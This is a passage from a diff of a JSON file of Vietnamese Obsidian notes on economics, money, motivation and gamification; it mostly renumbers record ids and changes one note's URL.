nhật": "2023-10-06T09:09:00.000Z", - "id": "Bo" + "id": "Bx" }, { "Tiêu đề": "Nền kinh tế xanh", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Kinh tế. Tâm lý học quản lý và lao động/Kinh tế/Các loại hình kinh tế mới/Nền kinh tế xanh/Nền kinh tế xanh", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Kinh tế. Tâm lý học quản lý và lao động/Kinh tế/Các loại hình kinh tế mới/Nền kinh tế xanh", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" @@ -12197,7 +12341,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-10-06T09:09:00.000Z", - "id": "Bp" + "id": "By" }, { "Tiêu đề": "Rác thải nhựa từ một toà nhà vào buổi trưa là khổng lồ", @@ -12213,7 +12357,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-10-06T09:09:00.000Z", - "id": "Bq" + "id": "Bz" }, { "Tiêu đề": "Để bắt kịp những công nghệ mới, thường 2 năm rà soát lại một lần", @@ -12229,7 +12373,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-10-06T09:09:00.000Z", - "id": "Br" + "id": "B-" }, { "Tiêu đề": "The non-monetary economy, typically embedded in a monetary economy, undertakes tasks that benefit society (whether through producing services, products, or making investments) that the monetary economy does not value", @@ -12245,7 +12389,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2024-06-21T11:04:00.000Z", - "id": "Bs" + "id": "B_" }, { "Tiêu đề": "Tỉ lệ mua khi có ủng hộ giảm tăng vì người mua không muốn mình bị đánh giá là đứa tồi. Nhưng những người trả tiền trả nhiều tiền hơn hẳn", @@ -12261,7 +12405,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-12-27T15:05:00.000Z", - "id": "Bt" + "id": "C0" }, { "Tiêu đề": "Xu thế kinh tế mới", @@ -12277,7 +12421,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-10-27T11:59:00.000Z", - "id": "Bu" + "id": "C1" }, { "Tiêu đề": "Đi cùng với khái niệm bền vững là khan hiếm", @@ -12293,7 +12437,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-12-01T12:14:00.000Z", - "id": "Bv" + "id": "C2" }, { "Tiêu đề": "Chúng ta cần có tiền, nhưng không cần giàu có", @@ -12309,7 +12453,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-02-28T10:47:00.000Z", - "id": "Bw" + "id": "C3" }, { "Tiêu đề": "Chỉ khi có sự trao đổi thì giá cả mới xuất hiện", @@ -12325,7 +12469,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-02-28T10:47:00.000Z", - "id": "Bx" + "id": "C4" }, { "Tiêu đề": "Con người không giả định miễn phí là kém chất lượng với sản phẩm số", @@ -12341,7 +12485,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-04-16T13:40:00.000Z", - "id": "By" + "id": "C5" }, { "Tiêu đề": "Các từ ngữ do chủ nghĩa tân tự do sử dụng thường có tính che giấu nhiều hơn là được làm sáng tỏ", @@ -12357,7 +12501,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-02-28T10:47:00.000Z", - "id": "Bz" + "id": "C6" }, { "Tiêu đề": "Giá cao làm tăng kỳ vọng, nhưng không làm thay đổi cảm nhận về chất lượng", @@ -12373,7 +12517,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-02-28T10:47:00.000Z", - "id": "B-" + "id": "C7" }, { "Tiêu đề": "Một công ty không có sản phẩm tốt nhưng tiếp thị tốt sẽ khiến người dùng không biết về sản phẩm tốt hơn", @@ -12389,7 +12533,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-09-01T08:28:00.000Z", - "id": "B_" + "id": "C8" }, { "Tiêu đề": "Những gì “thị trường muốn” có xu hướng đồng nghĩa với những gì các doanh nghiệp và ông chủ của nó muốn", @@ -12405,7 +12549,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-11-26T04:25:00.000Z", "Ngày cập nhật": "2024-02-28T10:47:00.000Z", - "id": "C0" + "id": "C9" }, { "Tiêu đề": "Những sản phẩm quá mới mẻ khó theo hình thức trả giá tuỳ tâm được, vì người mua không có cách nào để đoán giá", @@ -12421,7 +12565,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-02-28T10:47:00.000Z", - "id": "C1" + "id": "CA" }, { "Tiêu đề": "Những tài nguyên vô hạn sẽ làm những tài nguyên không vô hạn đi kèm với nó trở nên khan hiếm hơn", @@ -12437,7 +12581,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-04-16T15:03:00.000Z", - "id": "C2" + "id": "CB" }, { "Tiêu đề": "Nền kinh tế thị trường khác với xã hội thị trường", @@ -12453,7 +12597,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-08-10T19:20:00.000Z", "Ngày cập nhật": "2024-02-28T10:47:00.000Z", - "id": "C3" + "id": "CC" }, { "Tiêu đề": "Sự hấp dẫn của tư duy thị trường ở chỗ nó không phán xét", @@ -12469,7 +12613,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-02-28T10:47:00.000Z", - "id": "C4" + "id": "CD" }, { "Tiêu đề": "Thị trường không chỉ phân bố hàng hoá mà còn bộc lộ, khuyến khích con người có những thái độ nhất định với các loại hàng hoá", @@ -12485,7 +12629,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-02-28T10:47:00.000Z", - "id": "C5" + "id": "CE" }, { "Tiêu đề": "Thị trường không định giá. Ta mới là người định giá", @@ -12501,7 +12645,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-02-28T10:47:00.000Z", - "id": "C6" + "id": "CF" }, { "Tiêu đề": "Đôi khi, giá trị thị trường lấn át những giá trị phi thị trường đáng quan tâm", @@ -12517,7 +12661,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-02-28T10:47:00.000Z", - "id": "C7" + "id": "CG" }, { "Tiêu đề": "Độc quyền, ngoại tác, hàng hoá công, thông tin bất cân xứng, mất cân bằng vĩ mô là các thất bại của thị trường", @@ -12533,7 +12677,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-04-16T15:34:00.000Z", - "id": "C8" + "id": "CH" }, { "Tiêu đề": "❓Miễn phí, trả tuỳ tâm, tự định giá sức lao động", @@ -12549,7 +12693,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-02-28T10:47:00.000Z", - "id": "C9" + "id": "CI" }, { "Tiêu đề": "❓Truyền miệng là cách duy nhất để sản phẩm thực sự tốt hơn chiến thắng trên thị trường", @@ -12566,7 +12710,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-09-01T08:28:00.000Z", - "id": "CA" + "id": "CJ" }, { "Tiêu đề": "Cảm giác mất mát là cảm giác tiêu cực", @@ -12582,7 +12726,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-06-07T08:12:00.000Z", "Ngày cập nhật": "2023-10-06T09:09:00.000Z", - "id": "CB" + "id": "CK" }, { "Tiêu đề": "Cảm giác đáp ứng nhu cầu người khác là cảm giác tích cực", @@ -12598,7 +12742,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-06-07T08:15:00.000Z", "Ngày cập nhật": "2023-10-17T08:57:00.000Z", - "id": "CC" + "id": "CL" }, { "Tiêu đề": "Kinh tế học hành vi chủ yếu ứng dụng thiên kiến và suy luận tắt của con người vào kinh tế học, chứ chưa phải là toàn bộ tâm lý con người", @@ -12614,7 +12758,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-12-27T06:15:00.000Z", - "id": "CD" + "id": "CM" }, { "Tiêu đề": "Nhu cầu rõ ràng về tiền làm nhức đầu tất cả các bên", @@ -12630,7 +12774,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-11-28T06:55:00.000Z", - "id": "CE" + "id": "CN" }, { "Tiêu đề": "Ta muốn cái được phải chắc chắn, trong khi cái mất ta có thể mạo hiểm", @@ -12646,7 +12790,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-12-27T05:06:00.000Z", - "id": "CF" + "id": "CO" }, { "Tiêu đề": "Tiền có nhiệm vụ làm trung gian cho việc trao đổi nhu cầu", @@ -12662,7 +12806,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2024-07-29T06:40:00.000Z", - "id": "CG" + "id": "CP" }, { "Tiêu đề": "Tiền là một động lực ngoại sinh cực kỳ tốt", @@ -12678,7 +12822,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-06-22T11:33:00.000Z", - "id": "CH" + "id": "CQ" }, { "Tiêu đề": "Tiền làm người sở hữu tưởng rằng mình độc lập", @@ -12694,7 +12838,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-12-03T04:57:00.000Z", - "id": "CI" + "id": "CR" }, { "Tiêu đề": "Tiền làm thay đổi mối quan hệ từ việc đáp ứng nhu cầu lẫn nhau sang trao đổi hàng hoá", @@ -12710,7 +12854,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-12-06T05:25:00.000Z", - "id": "CJ" + "id": "CS" }, { "Tiêu đề": "Tiền tạo cảm giác phải cạnh tranh để có tài nguyên hơn là hợp tác để có nhiều tài nguyên hơn", @@ -12726,7 +12870,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-12-10T07:29:00.000Z", - "id": "CK" + "id": "CT" }, { "Tiêu đề": "Tiền tạo ra những cam kết phải đáp ứng mà nhiều khi mình không còn nhu cầu nữa", @@ -12742,7 +12886,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-07-29T06:40:00.000Z", - "id": "CL" + "id": "CU" }, { "Tiêu đề": "Tiền đơn giản hoá quá trình đáp ứng nhu cầu", @@ -12758,7 +12902,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-07-29T06:40:00.000Z", - "id": "CM" + "id": "CV" }, { "Tiêu đề": "Tiền được lưu ở dạng vật chất, nhưng nhu cầu là một trạng thái tinh thần", @@ -12774,7 +12918,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2024-07-29T06:40:00.000Z", - "id": "CN" + "id": "CW" }, { "Tiêu đề": "Từ khi có tiền, chúng ta mới có sự cạnh tranh để đáp ứng nhu cầu người khác", @@ -12790,7 +12934,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-10-24T15:09:00.000Z", - "id": "CO" + "id": "CX" }, { "Tiêu đề": "Việc bán hàng và việc đáp ứng nhu cầu người dùng không nhất thiết phải đi cùng với nhau", @@ -12806,7 +12950,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-12-06T10:22:00.000Z", - "id": "CP" + "id": "CY" }, { "Tiêu đề": "Việc chia cổ phần làm ta chỉ còn chú ý vào động lực ngoại sinh", @@ -12822,7 +12966,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-12-01T12:54:00.000Z", - "id": "CQ" + "id": "CZ" }, { "Tiêu đề": "Việc mất tiền làm tâm lý con người bị đau dù có thể nó vô lý", @@ -12838,7 +12982,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-11-25T05:42:00.000Z", - "id": "CR" + "id": "Ca" }, { "Tiêu đề": "❓Việc được tự định giá sức lao động của mình khiến người lao động cảm thấy công sức mình được công nhận xứng đáng", @@ -12854,7 +12998,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-12-25T15:20:00.000Z", - "id": "CS" + "id": "Cb" }, { "Tiêu đề": "Bảo hộ thương mại", @@ -12870,7 +13014,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-10-06T09:09:00.000Z", - "id": "CT" + "id": "Cc" }, { "Tiêu đề": "Cái được đem ra toàn cầu hoá là luật", @@ -12886,7 +13030,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-10-06T09:09:00.000Z", - "id": "CU" + "id": "Cd" }, { "Tiêu đề": "GDP của VN tăng trưởng rất nhanh", @@ -12902,7 +13046,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-10-06T09:09:00.000Z", - "id": "CV" + "id": "Ce" }, { "Tiêu đề": "Nói về hội nhập kinh tế của Việt Nam có thể rất ngắn, chỉ cần 2 slide", @@ -12918,7 +13062,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-10-06T09:09:00.000Z", - "id": "CW" + "id": "Cf" }, { "Tiêu đề": "Phi toàn cầu hoá là khi người ta không quan tâm đến luật nữa", @@ -12934,7 +13078,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-10-06T09:09:00.000Z", - "id": "CX" + "id": "Cg" }, { "Tiêu đề": "Tỉ lệ sử dụng tiền mặt ở VN khoảng 12%", @@ -12950,7 +13094,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-08-10T19:20:00.000Z", "Ngày cập nhật": "2023-10-06T09:09:00.000Z", - "id": "CY" + "id": "Ch" }, { "Tiêu đề": "Chiến tranh tiền tệ là một khái niệm không khoa học", @@ -12966,7 +13110,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-29T05:04:00.000Z", "Ngày cập nhật": "2024-04-04T06:30:00.000Z", - "id": "CZ" + "id": "Ci" }, { "Tiêu đề": "Các giáo trình kinh tế hiện nay tập trung vào các mô hình toán học chứ không phải là hành vi con người", @@ -12982,7 +13126,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-12-27T06:58:00.000Z", - "id": "Ca" + "id": "Cj" }, { "Tiêu đề": "Công việc thay đổi là vì những người xung quanh thay đổi, chứ không nhất thiết là vì có công nghệ mới", @@ -12998,7 +13142,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-06-10T13:02:00.000Z", "Ngày cập nhật": "2024-04-04T06:38:00.000Z", - "id": "Cb" + "id": "Ck" }, { "Tiêu đề": "Hệ thống tài phiệt nắm quyền qua các ngân hàng trung ương", @@ -13014,7 +13158,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-10-06T09:09:00.000Z", - "id": "Cc" + "id": "Cl" }, { "Tiêu đề": "Lương nghĩa gốc là thức ăn", @@ -13030,7 +13174,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-11-29T14:04:00.000Z", - "id": "Cd" + "id": "Cm" }, { "Tiêu đề": "Ngân hàng trung ương châu Âu nằm ở Đức", @@ -13046,7 +13190,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-10-06T09:09:00.000Z", - "id": "Ce" + "id": "Cn" }, { "Tiêu đề": "Người Hy Lạp cổ duy trì chế độ nô lệ", @@ -13062,7 +13206,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-10-06T09:09:00.000Z", - "id": "Cf" + "id": "Co" }, { "Tiêu đề": "Người Hy Lạp cổ không tự hào về việc mình có việc làm", @@ -13078,7 +13222,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-10-06T09:09:00.000Z", - "id": "Cg" + "id": "Cp" }, { "Tiêu đề": "Những người không cùng cộng đồng kinh tế thì đổi chác. Những người sống trong cùng một cộng đồng thì nhận nợ", @@ -13094,7 +13238,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-11-29T14:01:00.000Z", "Ngày cập nhật": "2023-11-29T14:03:00.000Z", - "id": "Ch" + "id": "Cq" }, { "Tiêu đề": "Nợ đã hiện hữu từ trước khi con người phát minh ra tiền bạc", @@ -13110,7 +13254,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-11-29T14:03:00.000Z", - "id": "Ci" + "id": "Cr" }, { "Tiêu đề": "Thời nông nghiệp, người giàu là người có nhiều ruộng đất. Thời công nghiệp, người giàu là người có nhiều nhà máy", @@ -13126,7 +13270,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-10-06T09:09:00.000Z", - "id": "Cj" + "id": "Cs" }, { "Tiêu đề": "Thời WW2 Thuỵ Sỹ trung lập được vì đó là nơi tích luỹ vàng của giới tài phiệt", @@ -13142,7 +13286,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-10-06T09:09:00.000Z", - "id": "Ck" + "id": "Ct" }, { "Tiêu đề": "Trong một hợp đồng, không phải cái gì cũng mang tính chất hợp đồng", @@ -13158,7 +13302,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-11-03T08:30:00.000Z", - "id": "Cl" + "id": "Cu" }, { "Tiêu đề": "Trong tiếng Anh, nghĩa gốc của amateur (nghiệp dư) là những người làm vì đam mê, chứ không phải là trình độ còn non", @@ -13174,7 +13318,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-12-09T04:58:00.000Z", - "id": "Cm" + "id": "Cv" }, { "Tiêu đề": "Để xác định xem cái gì nên và không nên được mua bằng tiền, cần phải xác định được những giá trị nào chi phối các lĩnh vực khác nhau trong đời sống cá nhân và xã hội", @@ -13190,7 +13334,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-12-01T12:34:00.000Z", - "id": "Cn" + "id": "Cw" }, { "Tiêu đề": "Chúng ta đi tìm hạnh phúc trên những máy chạy bộ", @@ -13206,7 +13350,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-12-14T04:49:00.000Z", - "id": "Co" + "id": "Cx" }, { "Tiêu đề": "Cường độ của nhu cầu quyết định thứ tự ưu tiên của các giá trị", @@ -13222,7 +13366,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-07-27T06:51:00.000Z", - "id": "Cp" + "id": "Cy" }, { "Tiêu đề": "Chuỗi kỹ năng mô tả những khoảnh khắc ý nghĩa xảy ra trong quá trình chơi trò chơi, chứ không chỉ là những cơ chế đơn thuần", @@ -13238,7 +13382,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-11-28T03:29:00.000Z", - "id": "Cq" + "id": "Cz" }, { "Tiêu đề": "Chơi là sự thử nghiệm các kỹ năng mới học trong những môi trường mới", @@ -13254,7 +13398,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2024-02-10T16:35:00.000Z", - "id": "Cr" + "id": "C-" }, { "Tiêu đề": "Những game có yếu tố bản đồ mới là những game tạo thành một cộng đồng nhiều ý tưởng", @@ -13270,7 +13414,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-11-09T09:21:00.000Z", "Ngày cập nhật": "2024-08-02T08:42:00.000Z", - "id": "Cs" + "id": "C_" }, { "Tiêu đề": "Những thứ lặp đi lặp lại có thể game hoá được", @@ -13286,7 +13430,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-11-30T07:39:00.000Z", - "id": "Ct" + "id": "D0" }, { "Tiêu đề": "Đa số các dự án game hoá chỉ tập trung vào cạnh tranh thi đua, chứ không tập trung vào bản đồ", @@ -13302,7 +13446,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-08-02T08:25:00.000Z", - "id": "Cu" + "id": "D1" }, { "Tiêu đề": "Người khác sẽ tham gia giúp đỡ khi họ thấy việc mình làm gần thoả mãn nhu cầu của họ", @@ -13318,7 +13462,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-11-28T03:29:00.000Z", - "id": "Cv" + "id": "D2" }, { "Tiêu đề": "Phản hồi và sự giúp đỡ trả lại là những thứ xa xỉ với người được giúp", @@ -13334,7 +13478,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-06-22T05:57:00.000Z", "Ngày cập nhật": "2024-08-21T11:25:00.000Z", - "id": "Cw" + "id": "D3" }, { "Tiêu đề": "Sau khi nhu cầu được giải quyết xong ta sẽ nghĩ ngay tới việc giải quyết vấn đề tiếp theo", @@ -13350,7 +13494,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-06-22T05:57:00.000Z", "Ngày cập nhật": "2023-11-28T03:29:00.000Z", - "id": "Cx" + "id": "D4" }, { "Tiêu đề": "Sự giúp đỡ người khác làm con người cảm thấy cuộc sống có ý nghĩa", @@ -13366,7 +13510,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-06-02T03:46:00.000Z", "Ngày cập nhật": "2023-11-28T03:29:00.000Z", - "id": "Cy" + "id": "D5" }, { "Tiêu đề": "Sự hợp tác xã hội của ta hướng đến việc chia việc để cùng tạo ra sản phẩm chung, chứ không phải ở việc giúp đỡ qua lại", @@ -13382,7 +13526,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-12-02T03:29:00.000Z", "Ngày cập nhật": "2023-12-02T03:41:00.000Z", - "id": "Cz" + "id": "D6" }, { "Tiêu đề": "Sự tập trung đòi hỏi người khác phải lo cho những nhu cầu khác của mình", @@ -13398,7 +13542,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-12-29T03:03:00.000Z", - "id": "C-" + "id": "D7" }, { "Tiêu đề": "Trong quá trình tập trung, sự chăm lo của người khác với những nhu cầu khác của mình sẽ trở nên vô hình và cần trở nên vô hình", @@ -13414,7 +13558,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-11-28T03:29:00.000Z", - "id": "C_" + "id": "D8" }, { "Tiêu đề": "Việc giúp đỡ người đã giúp mình không đủ khẩn cấp hoặc nhiều cảm hứng bằng việc giải quyết vấn đề tiếp theo, hoặc đủ cảm hứng bằng việc cải tiến giải pháp hiện có", @@ -13430,7 +13574,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-06-22T05:57:00.000Z", "Ngày cập nhật": "2023-11-28T03:29:00.000Z", - "id": "D0" + "id": "D9" }, { "Tiêu đề": "Con người chuyển từ kỹ năng này sang kỹ năng khác ngay cả khi họ chỉ có một khái niệm mơ hồ về đích đến cuối cùng", @@ -13446,7 +13590,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-11-30T03:51:00.000Z", - "id": "D1" + "id": "DA" }, { "Tiêu đề": "Con người phản ứng mãnh liệt nhất khi bị đụng đến điểm đau", @@ -13462,7 +13606,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-06-14T13:53:00.000Z", "Ngày cập nhật": "2023-12-02T03:15:00.000Z", - "id": "D2" + "id": "DB" }, { "Tiêu đề": "Con người sẽ theo đuổi kỹ năng mới với giá trị tiềm năng trong phạm vi dự đoán", @@ -13478,7 +13622,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-12-01T12:26:00.000Z", - "id": "D3" + "id": "DC" }, { "Tiêu đề": "Dopamine is released in anticipation of a reward", @@ -13494,7 +13638,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-06-03T02:51:00.000Z", "Ngày cập nhật": "2023-11-21T06:21:00.000Z", - "id": "D4" + "id": "DD" }, { "Tiêu đề": "Một tổ chức đáng làm tạo ra được động lực nội sinh ở nhân viên", @@ -13510,7 +13654,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-06-11T03:17:00.000Z", "Ngày cập nhật": "2023-11-24T14:00:00.000Z", - "id": "D5" + "id": "DE" }, { "Tiêu đề": "Những nhiệm vụ thách thức làm nhiều người thấy thú vị hơn", @@ -13526,7 +13670,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-11-26T05:06:00.000Z", - "id": "D6" + "id": "DF" }, { "Tiêu đề": "Những thứ khẩn cấp thường không phải là những thứ thú vị", @@ -13542,7 +13686,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-12-03T04:52:00.000Z", - "id": "D7" + "id": "DG" }, { "Tiêu đề": "Phần thưởng ngoại sinh làm tăng sự tập trung vào đích đến và giảm sự quan sát tới những thứ khác", @@ -13558,7 +13702,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-06-19T08:25:00.000Z", "Ngày cập nhật": "2023-12-01T12:53:00.000Z", - "id": "D8" + "id": "DH" }, { "Tiêu đề": "Sự hứng thú tạo ra sự tập trung", @@ -13574,7 +13718,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-12-01T12:27:00.000Z", - "id": "D9" + "id": "DI" }, { "Tiêu đề": "Thứ muốn làm bây giờ phụ thuộc vào cái mình đang nghĩ đến", @@ -13590,7 +13734,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-12-10T06:32:00.000Z", - "id": "DA" + "id": "DJ" }, { "Tiêu đề": "Tình trạng thiếu sự phản hồi xảy ra thường xuyên, đến nỗi nhiều người không còn kỳ vọng vào việc mình sẽ nhận được sự phản hồi nữa", @@ -13606,7 +13750,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2024-08-19T15:03:00.000Z", "Ngày cập nhật": "2024-08-21T11:25:00.000Z", - "id": "DB" + "id": "DK" }, { "Tiêu đề": "Việc mải mê làm việc đến quên cả đói cho thấy phần thưởng từ việc làm việc là đủ lớn hơn việc được ăn", @@ -13622,7 +13766,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-27T13:20:00.000Z", "Ngày cập nhật": "2024-08-21T11:23:00.000Z", - "id": "DC" + "id": "DL" }, { "Tiêu đề": "Việc nghĩ ra ý tưởng tốt hơn làm ta muốn theo đuổi nó hơn là làm tiếp thứ hiện tại", @@ -13638,7 +13782,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-12-06T12:11:00.000Z", - "id": "DD" + 